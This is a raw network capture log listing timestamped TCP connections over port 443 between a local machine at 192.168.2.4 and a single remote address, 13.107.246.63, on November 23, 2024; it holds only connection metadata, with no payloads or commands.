Nov 23, 2024 17:45:16.215467930 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:16.253267050 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:16.253334045 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:16.253388882 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:16.253509998 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:16.253509998 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:16.253530025 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:16.253551006 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:16.255543947 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:16.255558014 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:16.255630970 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:16.255763054 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:16.255769968 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.712403059 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.712933064 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:17.712953091 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.713404894 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:17.713411093 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.875871897 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.876416922 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:17.876435995 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.876832962 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:17.876837969 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.884867907 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.885262966 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:17.885273933 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:17.885624886 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:17.885629892 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.021411896 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.028772116 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.028784037 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.029230118 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.029233932 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.053287983 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.053648949 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.053672075 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.054267883 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.054274082 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.151858091 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.151937008 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.152023077 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.152203083 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.152203083 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.152220011 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.152230024 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.154863119 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.154891014 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.155014038 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.155122042 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.155148029 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.363663912 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.363729000 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.363859892 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.370959044 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.370959044 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.370986938 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.370996952 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.373897076 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.373924971 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.374015093 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.374181986 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.374192953 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.379534960 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.379575968 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.379653931 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.379760027 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.379775047 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.379786968 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.379792929 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.381809950 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.381846905 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.381931067 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.382047892 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.382072926 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.456438065 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.456583023 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.456773996 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.456773996 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.456773996 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.458806038 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.458821058 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.458883047 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.458996058 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.459006071 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.505296946 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.505470037 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.505541086 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.505631924 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.505631924 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.505655050 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.505664110 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.508387089 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.508409023 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.508502007 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.508707047 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.508722067 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:18.673774004 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:18.673805952 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:19.997646093 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.001766920 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.001799107 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.002324104 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.002336025 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.228184938 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.228674889 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.228697062 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.229144096 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.229155064 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.229835987 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.230176926 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.230201006 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.230528116 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.230532885 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.425112009 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.434994936 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.435004950 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.435600042 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.435605049 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.453696012 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.453747988 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.453918934 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.454000950 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.454000950 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.454027891 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.454055071 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.456664085 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.456713915 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.456784010 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.456916094 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.456928015 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.486022949 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.486479044 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.486495972 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.486943960 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.486951113 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.665513039 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.665564060 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.665623903 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.665843964 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.665853977 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.665863037 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.665868998 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.668464899 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.668498039 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.668688059 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.668858051 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.668873072 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.669572115 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.669626951 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.669754028 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.669781923 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.669792891 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.669804096 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.669809103 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.671773911 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.671816111 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.671966076 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.672113895 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.672133923 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.870456934 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.870529890 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.870738029 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.871033907 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.871045113 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.871057034 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.871061087 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.873625994 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.873644114 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.873728037 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.873881102 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.873893023 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.939069986 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.939222097 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.939317942 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.939594030 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.939605951 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.939618111 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.939624071 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.941996098 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.942044973 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:20.942131996 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.942421913 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:20.942449093 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.044029951 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.044747114 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.044781923 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.045232058 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.045239925 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.219582081 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.220040083 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.220067978 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.220504999 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.220510960 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.426090002 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.426676989 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.426702976 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.427140951 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.427145958 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.580080032 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.580159903 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.580471039 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.580503941 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.580518961 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.580528975 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.580534935 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.584001064 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.584041119 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.584119081 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.584322929 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.584336042 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.659302950 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.659375906 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.659631968 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.659668922 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.659682035 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.659697056 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.659710884 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.662623882 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.662700891 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.662801981 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.662971020 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.663002968 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.708631992 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.710006952 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.710030079 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.710453033 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.710458040 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.861238956 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.862165928 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.862204075 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.862587929 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.862601995 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.865432024 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.865493059 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.865694046 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.865735054 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.865756035 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.865766048 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.865771055 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.868756056 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.868781090 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:22.868872881 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.869102001 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:22.869116068 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.258790970 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.258892059 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.258979082 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.259180069 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.259196043 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.259207964 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.259213924 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.261950016 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.261989117 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.262080908 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.262236118 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.262249947 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.387861967 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.388022900 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.388101101 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.388307095 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.388307095 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.388348103 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.388374090 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.390826941 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.390885115 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:23.390974998 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.391107082 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:23.391128063 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.384931087 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.385467052 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.385492086 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.385937929 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.385941982 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.598742008 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.599390984 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.599422932 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.600009918 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.600017071 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.715298891 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.715832949 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.715864897 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.716273069 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.716280937 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.844511986 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.844594955 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.844753027 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.844933033 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.844954967 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.844968081 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.844974995 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.847590923 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.847625017 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:24.847703934 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.847822905 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:24.847829103 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.044774055 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.044842005 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.044902086 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.045058966 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.045093060 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.045120955 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.045135975 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.047622919 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.047668934 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.047748089 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.047960043 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.047980070 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.159456015 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.159595013 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.159657955 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.159760952 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.159785032 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.159796953 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.159805059 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.162354946 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.162436962 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.162525892 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.162687063 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.162718058 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.221308947 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.221659899 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.221674919 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.222114086 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.222117901 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.281568050 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.282021046 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.282049894 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.282547951 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.282562017 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.691241980 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.691339970 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.691414118 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.740190983 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.740211010 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.740245104 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.740251064 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.743700981 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.743866920 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 17:45:25.743925095 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:45:25.748400927 CET	49814	443	192.168.2.4	13.107.246.63
